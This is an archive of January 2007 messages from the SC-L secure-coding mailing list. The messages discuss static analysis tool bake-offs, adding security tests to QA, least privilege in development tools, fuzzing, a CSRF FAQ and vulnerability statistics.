| else can a language guarantee array bounds checking without having to
| resort to array bounds checking in cases where the indicies are
| dynamically computed?...
That was a bad example.

Java isn't statically typesafe because one can write programs that cast
objects.  The casts are checked - at runtime.  The most obvious place
this shows up is in containers.  Until Java 1.5, containers held
instances of Object.  If you were handed a Set of Circle's, when you
pulled out one instances from the Set, you got an Object.  It was up to
you to cast it to a Circle.  If some inserted a Cube into the class,
your cast would fail with an exception.  (You could also explicitly test
if you wanted.)

Parameterized types in Java 1.5 help to some degree, in that the
compiler effectively checks that only Circle's are ever inserted into
your Set<Circle>, but the model used is very limited, the old constructs
remain - in fact, a constraint was that new and old code interoperate, so
if some code got at your set as just a Set, they could put any Object into
it - and there are still plenty of places where you can lose static
type safety.

It's *possible* to write Java code that uses types conservatively and
never does a cast that could fail at run time.  Then again, you *can*
write C code like that.  But the compiler won't help you.  And there
are all kinds of common Java coding patterns that rely on the dynamic
type system, and can't be written in a purely static type style.

							-- Jerry


From James.McGovern at thehartford.com  Fri Jan  5 17:16:52 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 5 Jan 2007 17:16:52 -0500
Subject: [SC-L] Building Security In vs Auditing
In-Reply-To: <16B5EF53FB343546B0760F04BD44EA2DEC875C@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA209@AD1HFDEXC309.ad1.prod>

Thanks for your response but I am not sure that it got at the essence of my thinking, so let me ask some additional questions.

1. I haven't gotten a sense that a bakeoff matters. For example, if I wanted to write a simple JSP application, it really doesn't matter if I use Tomcat, Jetty, Resin or BEA from a functionality perspective while they may each have stuff that others don't, at the end of the day they are all good enough. So is there really that much difference in comparing say Fortify to OunceLabs or whatever other tools in this space exist vs simply choosing which ever one wants to cut me the best deal (e.g. site license for $99 a year :-) ?

2. Continuing with your plumber analogy, usually you either are referred by someone who had a particular experience with a vendor or you simply choose whoever is available from the Yellow Pages that will show up when you want them to and will charge what you think the best value is. My circle doesn't include the first and I would like to become smarter about the second in that should I choose someone knowledgable from Accenture, TCS, Cognizant or other firms I am familiar with or would I be doing myself a huge disservice and should instead focus on a boutique.

-----Original Message-----
From: Paco Hope [mailto:paco at cigital.com]
Sent: Thursday, January 04, 2007 9:33 AM
To: McGovern, James F (HTSC, IT); sc-l at securecoding.org
Subject: RE: [SC-L] Building Security In vs Auditing


> Gary, I would love a little refinement of the benefits to badnessometers.
> Let's say I get a tool to tell me something I already suspect is wrong,
> what percentage of the population are better than they expected?

I won't speak for Gary, but working a few doors down I have seen a few of the same things he has.

Occasionally developers internally run free tools and surrepetitiously fix problems that the tools find (this happens in some cultures where management is particularly antagonistic towards security as a first class concern). In those unusual instances, I could see the results of a badnessometer coming out better than expected. Management would perceive that such things had never been run, and would be pleasantly surprised to learn that the sky might not be falling. Other than that, few people run a tool for the first time and see results better than they expected. Tools codify all manner of stuff that your developers almost certainly do not know how to check for (and if they do, they probably don't have time).

> Is it better to do such a badness test by doing a POC with one of the
> tool vendors in this space or do I get additional lift by going with
> a consulting firm in this regard?

I'm a consultant, take that as implied bias. But, I think you do get lift, and here's my analogy. Consider yourself a handy guy around the house who is going to do something moderately complicated, like redo a whole bathroom. You can buy all the tools and read all the books on how to do it for a lot less money than hiring a contractor to do the whole thing.  There's some pretty specialized tools in plumbing, though, and they're tools you probably haven't used more than once or twice. Do you gain some extra insight into the use of those tools by hiring someone experienced to assist on the complicated parts? I think so. That someone experienced will come in, help you wield the unfamiliar tool, show you some things that he has experienced, and get you through the difficult parts. Then you, being the handy guy you are, are left to finish the bathroom, doing things you know how to do well.

I think this analogy holds with a lot of the tools in security. You learn a lot by getting the experience someone brings, assuming you get a good someone. We, for example, have run a bunch of tools on a lot of different code bases. We know which rules tend to be alarmist and which ones are really important if they fire. Tool vendors won't give you that objectivity on their own tool, and some of the sales engineers don't have the insight into their own tool to know which warnings are just noise and which warnings are a big deal. A consultant can help you have a bake-off between tools, whereas a tool vendor typically lacks that objectivity.

Paco



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gunnar at arctecgroup.net  Sat Jan  6 11:27:50 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Sat, 06 Jan 2007 10:27:50 -0600
Subject: [SC-L] Building Security In vs Auditing
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA209@AD1HFDEXC309.ad1.prod>
Message-ID: <C1C52A26.6E3B%gunnar@arctecgroup.net>

> 1. I haven't gotten a sense that a bakeoff matters. For example, if I wanted
> to write a simple JSP application, it really doesn't matter if I use Tomcat,
> Jetty, Resin or BEA from a functionality perspective while they may each have
> stuff that others don't, at the end of the day they are all good enough. So is
> there really that much difference in comparing say Fortify to OunceLabs or
> whatever other tools in this space exist vs simply choosing which ever one
> wants to cut me the best deal (e.g. site license for $99 a year :-) ?
> 

I recommend that companies do a bakeoff to determine

1. ease of integration with dev process - everyone's dev/build process is
slightly different

2. signal to noise ratio - is the tool finding high priority/high impact
bugs?

3.  remediation guidance - finding is great, fixing is better, how
actionable and relevant is the remediation guidance?

4. extensibility - say you have a particular interface, like mq series for
example, which has homegrown authN and authZ foo that you want to use the
static analysis to determine if it is used correctly. How easy is it
build/check/enfore these rules?

5. roles - how easy is it to separate out roles/reports/functionaility like
developer, ant jockey, and auditor?

6. software architecture span - your high risk/high priority apps are
probably multi-tier w/ lots of integration points, how much visibility to
how many integration points and tiers does the static analysis tool allow
you to see? How easy is it to correlate across tiers and interfaces?

-gp



From bugtraq at cgisecurity.net  Sun Jan  7 14:48:48 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Sun, 7 Jan 2007 14:48:48 -0500 (EST)
Subject: [SC-L] QASEC Announcement: Writing Software Security Test Cases
Message-ID: <20070107194848.35560.qmail@cgisecurity.net>

I've Just released an article about how the Quality Assurance phase of the development 
cycle can incorporate security testing into a standard test plan, and make it part 
of the regular testing cycle.

Writing Software Security Test Cases: Putting security test cases into your test plan
http://www.qasec.com/cycle/securitytestcases.shtml


- Robert
admin_ at _cgisecurity_com
http://www.cgisecurity.com/
http://www.qasec.com/
http://www.webappsec.org/

From jms at bughunter.ca  Mon Jan  8 10:13:07 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Mon, 8 Jan 2007 07:13:07 -0800
Subject: [SC-L] QASEC Announcement: Writing Software Security Test Cases
In-Reply-To: <20070107194848.35560.qmail@cgisecurity.net>
Message-ID: <012001c73337$8111be30$8119fea9@jseitz>

This is great, and something I have incorporated into our own cycle
previously, as carving out a spot on our team as the "security engineer"
didn't seem to work. But by creating a process for including security
testing, abuse cases, etc. I was able to incorporate security without a big
hit to the team. This sold management on the fact that it can be a simple
and seamless process and soon became adopted. The other half of it is that
you have to be the person on the team who always is thinking in terms of the
corner cases, the worst case scenarios, the one who aggravates the
development team the most.

I still find that at times you have to raise concerns and show
vulnerabilities by actually writing the POC exploits. An example of this
would be a portable encrypted filesystem that was used to protect data the
application used. No one understood that no matter how long the password
was, nor the 256 "bank level" encryption, the filesystem was still insecure
in it's _implementation_! By writing an exploit using DLL injection, some
exported function hooking and by outputting the password into a plaintext
file, the eyes of many were opened. Little did anyone know that part of
developing a secure application you have to do it not only in the code, but
it it's build process, deployment, etc. But once again the next time a major
flaw comes into light, you find yourself in the wee hours of the morning
writing a POC to prove just how bad it is.

The question to the list is: Can we ever get away from costly exploit
development? Has anyone developed techniques in reporting and disclosure
that allowed them to avoid a massive caffeine addiction?

JS

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of bugtraq at cgisecurity.net
Sent: Sunday, January 07, 2007 11:49 AM
To: sc-l at securecoding.org
Subject: [SC-L] QASEC Announcement: Writing Software Security Test Cases

I've Just released an article about how the Quality Assurance phase of the
development cycle can incorporate security testing into a standard test
plan, and make it part of the regular testing cycle.

Writing Software Security Test Cases: Putting security test cases into your
test plan http://www.qasec.com/cycle/securitytestcases.shtml


- Robert
admin_ at _cgisecurity_com
http://www.cgisecurity.com/
http://www.qasec.com/
http://www.webappsec.org/
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From jsteven at cigital.com  Mon Jan  8 10:08:34 2007
From: jsteven at cigital.com (John Steven)
Date: Mon, 8 Jan 2007 10:08:34 -0500
Subject: [SC-L] Code Analysis Tool Bakeoff
In-Reply-To: <C1C52A26.6E3B%gunnar@arctecgroup.net>
References: <C1C52A26.6E3B%gunnar@arctecgroup.net>
Message-ID: <FB837D13-53D8-4ED0-8162-9A28411E5E4C@cigital.com>

I think Gunnar hit a lot of the important points. Bake offs do  
provide interesting data. I have a few slide decks which I've created  
to help companies with this problem, and would be happy to provide  
them to anyone willing to email me side-channel. Of the items Gunnar  
listed, I find that baking off tools helps organizations understand  
where they're going to have to apply horsepower and money.

For instance, companies that purchase Coverity's Prevent seem to have  
little trouble getting penetration into their dev. teams, even beyond  
initial pilot.  Model tuning provides breeze-easy ability to keep  
'mostly effective' rules in play and still reduce false positives.  
However, with that ease of adoption and developer-driven results  
interpretation, orgs. buy some inflexibility in terms of later  
extensibility. Java support, now only in beta, lacks sorely and the  
mechanisms by which one writes custom checkers poses a stiff learning  
curve. Whereas, when one adopts Fortify's sourceAnalyzer, developer  
penetration will be _the_ problem unless the piloting team bakes a  
lot of rule tuning into the product's configuration and results  
pruning into the usable model prior to role out. However, later  
customization seems easiest of any of the tools I'm familiar with.  
Language and rules coverage seems, at the macro-level, consistently  
the most robust.

In contrast, it takes real experience to illuminate each tool's  
difference in the accuracy department. Only a bakeoff that contains  
_your_ organization's code can help cut through the fog of what each  
vendor's account manager will promise. The reason seems to be that  
the way a lot of these tools behave relative to each other  
(especially Prexis, K7, and Source Analyzer) depends greatly on  
minute details of how they implemented rules. However, at the end of  
the day, their technologies remain shockingly similar (at least as  
compared to products from Coverity, Secure Software, or Microsoft's  
internal Prefix).

For instance, in one bake off, we found that (with particular open  
source C code) Fortify's tool found more unique instances of  
overflows on stack-based, locally declared buffers, with offending  
locally declared length-specifiers. However, Klocwork's tool was  
profoundly more accurate in cases in which the overflow had similar  
properties but represented an 'off by one' error within a buffer  
declared as a fixed length array.

Discussing tradeoffs in tool implementation at this level leads  
bakers down a bevy of rabbit holes. Looking at them to the extent  
Cigital does, for deep understanding of our clients' code and how  
_exactly_ the tool is helping/hurting us isn't _your_ goal. But, by  
collecting data on 7 figures of your own code base, you can start to  
see what trends in your programmers' coding practices play to which  
tools. This, can in fact, help you make a better tool choice.

----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD  94B0 AE7F
http://www.cigital.com
Software Confidence. Achieved.


On Jan 6, 2007, at 11:27 AM, Gunnar Peterson wrote:

>> 1. I haven't gotten a sense that a bakeoff matters. For example,  
>> if I wanted
>> to write a simple JSP application, it really doesn't matter if I  
>> use Tomcat,
>> Jetty, Resin or BEA from a functionality perspective while they  
>> may each have
>> stuff that others don't, at the end of the day they are all good  
>> enough. So is
>> there really that much difference in comparing say Fortify to  
>> OunceLabs or
>> whatever other tools in this space exist vs simply choosing which  
>> ever one
>> wants to cut me the best deal (e.g. site license for $99 a year :-) ?
>>
>
> I recommend that companies do a bakeoff to determine
>
> 1. ease of integration with dev process - everyone's dev/build  
> process is
> slightly different
>
> 2. signal to noise ratio - is the tool finding high priority/high  
> impact
> bugs?
>
> 3.  remediation guidance - finding is great, fixing is better, how
> actionable and relevant is the remediation guidance?
>
> 4. extensibility - say you have a particular interface, like mq  
> series for
> example, which has homegrown authN and authZ foo that you want to  
> use the
> static analysis to determine if it is used correctly. How easy is it
> build/check/enfore these rules?
>
> 5. roles - how easy is it to separate out roles/reports/ 
> functionaility like
> developer, ant jockey, and auditor?
>
> 6. software architecture span - your high risk/high priority apps are
> probably multi-tier w/ lots of integration points, how much  
> visibility to
> how many integration points and tiers does the static analysis tool  
> allow
> you to see? How easy is it to correlate across tiers and interfaces?
>



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From James.McGovern at thehartford.com  Mon Jan  8 11:58:14 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 8 Jan 2007 11:58:14 -0500
Subject: [SC-L] Magazines
In-Reply-To: <EAD5C58F27640B429D87C4663AFE3535011239A2@IMCSRV1.MITRE.ORG>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA216@AD1HFDEXC309.ad1.prod>

I learned through the grapevine that folks from Network Computing will be doing an upcoming article and comparison of tools in the secure coding space. If you are a vendor, it would be wise to make sure your marketing folks are participating. The funny thing is that I wouldn't expect it to appear in such a publication. Having in the past written for Java Developers Journal, I wouldn't be against pitching the writing of a similar story if vendors here would be game as well.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070108/a79eccca/attachment.html 

From bugtraq at cgisecurity.net  Mon Jan  8 12:06:14 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Mon, 8 Jan 2007 12:06:14 -0500 (EST)
Subject: [SC-L] QASEC Announcement: Writing Software Security Test Cases
In-Reply-To: <012001c73337$8111be30$8119fea9@jseitz>
Message-ID: <20070108170614.67000.qmail@cgisecurity.net>

> This is great, and something I have incorporated into our own cycle
> previously, as carving out a spot on our team as the "security engineer"
> didn't seem to work. But by creating a process for including security
> testing, abuse cases, etc. I was able to incorporate security without a big
> hit to the team. This sold management on the fact that it can be a simple
> and seamless process and soon became adopted. The other half of it is that
> you have to be the person on the team who always is thinking in terms of the
> corner cases, the worst case scenarios, the one who aggravates the
> development team the most.


The fact of proving to management that this isn't an expensive decision is 
something that I think will start to catch on. By making this part of the process
if an issue is discovered you have already scoped out that additional time needed to
research and address the issue. QA has always aggravated development this isn't new :) 

Regards,
- Robert
http://www.cgisecurity.com/
http://www.qasec.com/




From dana at vulscan.com  Thu Jan 11 11:57:03 2007
From: dana at vulscan.com (Dana Epp)
Date: Thu, 11 Jan 2007 08:57:03 -0800
Subject: [SC-L] Secure software education. Does it start with our tools?
Message-ID: <9AE3FC06F0A89A43A4D6F667955082C4083BA2@sbsmain.Vulscan.local>

Hey guys,
 
Last month I blogged (http://silverstr.ufies.org/blog/archives/000989.html) about my disappointment with the fact that the new service pack for Visual Studio 2005, on Vista, suggests with a specific dialog box that you run the IDE as Administrator. (http://msdn2.microsoft.com/en-us/vstudio/aa972193.aspx).
 
The actual dialog box is alarming and misleading, because it really gives poor advice and the false impression that developers HAVE to be building software as Administrator. Am I being selfish in believing that this is the LAST thing we want to do when trying to educate developers to not write code with administrative privileges? I know you can simply uncheck the thing and move on, (as recommended by Michael Howard at http://blogs.msdn.com/michael_howard/archive/2007/01/04/my-take-on-visual-studio-2005-sp1-and-windows-vista.aspx), but the reality is that this guidance isn't helping us as we try to educate developers to write software requiring less privileges, when the tools we use suggest that it doesn't adhere to that!
 
For years we have been trying to educate developers to run with least privilege so they can build safer software in a more restricted environment. Particularly important in a Windows environment where quite a few attack vectors would be significantly lessened if the software would have simply required less privileges at design time. I fear that when developers see such guidance they will simply run all their tools in an elevated context, or worse yet turn off things like UAC altogether so they can go about their "daily business". Now, I am pretty sure that a lot of us on this list have been building software in least privilege environments for years. But what does this say to those that don't know any better when they see such dialog boxes when they start their tools?  
 
Microsoft has even written a Vista "Issue list" for when you run Visual Studio as a Standard User. (http://msdn2.microsoft.com/en-us/vstudio/aa972193.aspx). There are plenty of examples there where the work around is "Run Visual Studio with elevated administrator permissions" when it doesn't have to be. So its clear they know this is an issue.
 
Am I wrong for being disappointed in Microsoft's approach at this stage of the game? We aren't talking about an old IDE written for Windows95. This was built FOR and ON Vista. With Microsoft's great strides in their SDLC process to date, should we be expecting them to lead the charge in educating developers to run as Standard Users?  What are your thoughts on this? 
 
---
Regards,
Dana Epp [Microsoft Security MVP]
Blog: http://silverstr.ufies.org/blog/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070111/41a59efe/attachment.html 

From ljknews at mac.com  Thu Jan 11 12:48:46 2007
From: ljknews at mac.com (ljknews)
Date: Thu, 11 Jan 2007 12:48:46 -0500
Subject: [SC-L] Secure software education. Does it start with our tools?
In-Reply-To: <9AE3FC06F0A89A43A4D6F667955082C4083BA2@sbsmain.Vulscan.local>
References: <9AE3FC06F0A89A43A4D6F667955082C4083BA2@sbsmain.Vulscan.local>
Message-ID: <p05200f08c1cc287859a3@[192.168.1.254]>

At 8:57 AM -0800 1/11/07, Dana Epp wrote:

> Am I wrong for being disappointed in Microsoft's approach at this stage
>of the game? We aren't talking about an old IDE written for Windows95.
>This was built FOR and ON Vista. With Microsoft's great strides in their
>SDLC process to date, should we be expecting them to lead the charge in
>educating developers to run as Standard Users?  What are your thoughts on
>this?

It appears your optimism about the prospects for change was unwarranted.
-- 
Larry Kilgallen

From gem at cigital.com  Sat Jan 13 14:37:36 2007
From: gem at cigital.com (Gary McGraw)
Date: Sat, 13 Jan 2007 14:37:36 -0500
Subject: [SC-L] Darkreading: Vista meets DRM
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7FC07A@va-mail.cigital.com>

Hi all,

We all know that making security tradeoffs is one of the hardest parts
of designing a system.  This holds true for software ranging from the
smallest application to, well, vista.

My latest darkreading column questions where the security boundary
should be drawn.  This gets particularly hairy when it comes to digital
rights management and the kinds of demands made by huge content
providers.

http://www.darkreading.com/document.asp?doc_id=114587&WT.svl=column1_1

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com 



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ge at linuxbox.org  Mon Jan 15 18:19:31 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 15 Jan 2007 17:19:31 -0600 (CST)
Subject: [SC-L] fuzzing the corporate world
Message-ID: <Pine.LNX.4.21.0701151701310.29184-100000@linuxbox.org>

After a couple of folks said they liked it, I figured it is on-topic
enough to send it here. This is my lecture from CCC, I hope you like it
(I swear in it.. it's defcon-like, be warned PG-13).

It basically describes fuzzing and how it can be/is implemented in the
corporate world/as part of the development process/as certification/as
testing... etc. and how a fuzzer can be built to fit what the corporate
world is looking for.

This is not a technical lecture in any way - so skip it if that's what you
are looking for. We do cover the basics of black box testing with fuzzing,
though.
:)

http://media.hojann.net/23C3/23C3-1758-en-fuzzing_corporate_world.m4v
http://fsmpi.uni-bayreuth.de/~pw/23c3/23C3-1758-en-fuzzing_corporate_world.m4v

>From the talk description:
http://events.ccc.de/congress/2006/Fahrplan/events/1758.en.html
(an updated PDF of the presentation should be there soon)

Fuzzing in the corporate world

The use of fuzzing in the corporate world over the years and recent
implementation of fuzzing tools into the development cycle and as a
requirement before purchase
----
We will discuss fuzzing uses by software vendors and in the corporate
world, for security auditing ("fuzzing before release") and third party
testing ("fuzzing before purchase"). We will look at what contributed to
this change in the use of fuzzing tools from home-grown hacking tools to
commercial products, as well as how these organizations implement fuzzing
into their development cycle.
----
Fuzzing has been used for a long time in the hacker scene. Mostly, these
tools have been home-grown. In the recent year, several commercial fuzzing
tools appeared. These in turn are now utilized by organizations in the
development cycle under the moto of "fuzzing before release", or "find the
vulnerability before hackers do". Another interesting and somewhat
unexpected development in the field is that end-clients are the largest
consumers of advanced fuzzing technology, performing tests on software
before purchase. Further, some large telcos and financial institutions now
demand for products to be certified (even if not by an official seal) by
fuzzing products which they authorize.

Is fuzzing finally a solution to reduce vulnerabilities in products rather
than just later discover them? How is it used by these corporations and
third-party organizations? Some methodologies as well as examples will be
presented, and we will also try to look into what the future holds.

	Gadi.


From ken at krvw.com  Tue Jan 16 10:08:18 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 16 Jan 2007 10:08:18 -0500
Subject: [SC-L] Administrivia: Anyone up for a 2nd annual SC-L BoF at S3?
Message-ID: <C9DC7D28-9258-43A9-AC0B-69C9CE500ED7@krvw.com>

Hi SC-Lers,

As many of you are no doubt aware, this year's S3 conference (http:// 
www.s-3con.com) is coming up in a couple months.  At last year's  
conference in La Jolla, we had a small but fun "SC-L BoF" at a nearby  
brewpub.  Any SC-L folks here care to do the same again at this  
year's event in San Mateo?  I'm happy to coordinate things.

Please reply off list if you care to join in.  If there is sufficient  
interest, I'll post an update here as we get closer to the dates.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070116/e698a49c/attachment.bin 

From bugtraq at cgisecurity.net  Tue Jan 16 11:55:54 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Tue, 16 Jan 2007 11:55:54 -0500 (EST)
Subject: [SC-L] Announcement: The Cross-site Request Forgery FAQ
Message-ID: <20070116165554.92566.qmail@cgisecurity.net>

 The Cross-site Request Forgery FAQ has been released to address some of the common 
 questions and misconceptions regarding this commonly misunderstood web flaw.   
  
 URL: The Cross-site Request Forgery FAQ 
 http://www.cgisecurity.com/articles/csrf-faq.shtml 
  
  
 Regards, 
  
 - Robert 
 admin_ at _cgisecurity_com 
 http://www.cgisecurity.com/ 
 http://www.qasec.com/ 
 http://www.webappsec.org/ 
 


From fw at deneb.enyo.de  Thu Jan 18 14:17:23 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Thu, 18 Jan 2007 20:17:23 +0100
Subject: [SC-L] Announcement: The Cross-site Request Forgery FAQ
In-Reply-To: <20070116165554.92566.qmail@cgisecurity.net>
	(bugtraq@cgisecurity.net's message of "Tue, 16 Jan 2007 11:55:54 -0500
	(EST)")
References: <20070116165554.92566.qmail@cgisecurity.net>
Message-ID: <87tzyogn5o.fsf@mid.deneb.enyo.de>

>  URL: The Cross-site Request Forgery FAQ 
>  http://www.cgisecurity.com/articles/csrf-faq.shtml 

Regarding, "Who discovered CSRF?", the attack is mentioned in section
4.3.5 of RFC 2109, which dates back February 1997.  Of course, the
suggested remedies look rather strange today.

You characterisation of cross-site scripting attacks ("Cross-Site
Scripting exploits the trust that a user has for the website or
application.") is somewhat misleading, unless one reads "client" for
"user".

From bugtraq at cgisecurity.net  Thu Jan 18 14:13:20 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Thu, 18 Jan 2007 14:13:20 -0500 (EST)
Subject: [SC-L] Announcement: The Cross-site Request Forgery FAQ
In-Reply-To: <87tzyogn5o.fsf@mid.deneb.enyo.de>
Message-ID: <20070118191320.10880.qmail@cgisecurity.net>

> >  URL: The Cross-site Request Forgery FAQ 
> >  http://www.cgisecurity.com/articles/csrf-faq.shtml 
> 
> Regarding, "Who discovered CSRF?", the attack is mentioned in section
> 4.3.5 of RFC 2109, which dates back February 1997.  Of course, the
> suggested remedies look rather strange today.

I hadn't seen that I'll add a brief note about that. 

> 
> You characterisation of cross-site scripting attacks ("Cross-Site
> Scripting exploits the trust that a user has for the website or
> application.") is somewhat misleading, unless one reads "client" for
> "user".

Yes that wording is much better. Updated thanks for pointing it out.

- Robert



From ken at krvw.com  Fri Jan 19 08:46:21 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 19 Jan 2007 08:46:21 -0500
Subject: [SC-L] Source Code Specialist Fortify to Buy Secure Software
Message-ID: <725EC7E7-860B-4717-8D83-1836E6C3FF87@krvw.com>

SC-Lers,

The static source code analysis product space is about to get a  
little smaller, with Fortify's announcement of its acquisition of  
Secure Software.

http://www.eweek.com/article2/0,1895,2085461,00.asp

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070119/a3ce5da7/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070119/a3ce5da7/attachment.bin 

From ken at krvw.com  Mon Jan 22 10:15:53 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 22 Jan 2007 10:15:53 -0500
Subject: [SC-L] Adapting Penetration Testing for Software Development
	Purposes
Message-ID: <67E62E6C-8AA4-453D-9272-AD428C08B3D9@krvw.com>

Greetings SC-L folk,

FYI, there's been a wave of new content added to the DHS-funded  
software security portal, Build Security In (home URL is http:// 
BuildSecurityIn.us-cert.gov).  Most recently, a couple of articles  
about penetration testing and tools were added (see
https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/ 
penetration/655.html?branch=1&language=1).

(Full disclosure: I'm the author of the pen testing articles, but  
don't let that stop you from grabbing them.  ;-)

All of the articles on the BSI portal are free.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070122/62054803/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070122/62054803/attachment.bin 

From ken at krvw.com  Mon Jan 22 13:23:49 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 22 Jan 2007 13:23:49 -0500
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register
Message-ID: <91AE4941-4AB8-4D15-B37C-46E40C68B707@krvw.com>

FYI, CERT/CC reported 8064 software vulnerabilities in 2006, for a  
35% increase over 2005.

See http://www.theregister.co.uk/2007/01/21/2006_vulns_tally/

The article further states, "The greatest factor in the skyrocketing  
number of vulnerabilities is that certain types of flaws in community  
and commercial Web applications have become much easier to find, said  
Art Manion, vulnerability team lead for the CERT Coordination Center.

'The best we can figure, most of the growth is due to fairly easy-to- 
discover vulnerabilities in Web applications," Manion said. "They are  
easy to find, easy to create, and easy to deploy.'"

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070122/3011786b/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070122/3011786b/attachment.bin 

From ken at krvw.com  Mon Jan 22 13:52:34 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 22 Jan 2007 13:52:34 -0500
Subject: [SC-L] Dark Reading - Discovery and management - Security Startups
	Make Debut - Security News Analysis
Message-ID: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>

Ok, last software security news item for today, I promise.  :-)  This  
article (see
http://www.darkreading.com/document.asp?doc_id=115110&WT.svl=news1_1)  
is about a couple of new startup companies.  One of them in  
particular, Veracode, may be of some interest here.  The article  
says, "Veracode, founded by Chris Wysopal and other former executives  
of @stake, is now offering patented binary-code analysis of software  
for enterprises that want to analyze their software's security on a  
regular basis. The ASP will also offer security reviews of enterprise  
products and security analysis of third-party apps for software  
developers."

The article also provides some counterpoints, including some from  
Gary McGraw, that are worth reading.  Among other things, Gary says,  
"However, if you want real security analysis you have to go past the  
binary, past the source code, and actually consider the design."

Opinions on binary vs. source code (and design!) analysis, anyone?

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
